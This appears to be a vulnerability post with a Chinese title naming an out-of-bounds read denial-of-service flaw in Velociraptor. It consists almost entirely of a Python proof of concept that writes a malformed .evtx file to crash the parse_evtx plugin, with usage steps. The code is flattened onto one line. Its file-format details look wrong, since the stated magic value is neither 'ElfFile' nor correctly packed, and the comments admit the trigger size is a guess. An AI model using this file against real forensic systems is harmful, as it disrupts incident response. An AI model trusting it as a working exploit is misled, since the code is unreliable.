CVE-2026-7572 Velociraptor越界读取拒绝服务漏洞

import struct # Conceptual PoC for CVE-2026-7572 # Generates a malformed .evtx file structure to trigger off-by-one error # in Velociraptor's ConsumeUnit16Array/ConsumeUnit64Array functions. def generate_malformed_evtx(filename): with open(filename, 'wb') as f: # EVTX Header (simplified/corrupted to trigger parsing issues) # Usually starts with 'ElfFile' magic (0x656c6666) header = struct.pack('<I', 0x656c6666) # Set a size that passes checks but fails at the last byte (Off-by-one trigger) # This specific value depends on the internal logic of ConsumeUnitXArray malformed_size = 0x1000 payload = header + struct.pack('<I', malformed_size) + b'A' * 4096 f.write(payload) print(f"[+] Malformed evtx file generated: {filename}") print("[+] Usage: Load this file in Velociraptor using parse_evtx plugin.") if __name__ == "__main__": generate_malformed_evtx("crash.evtx")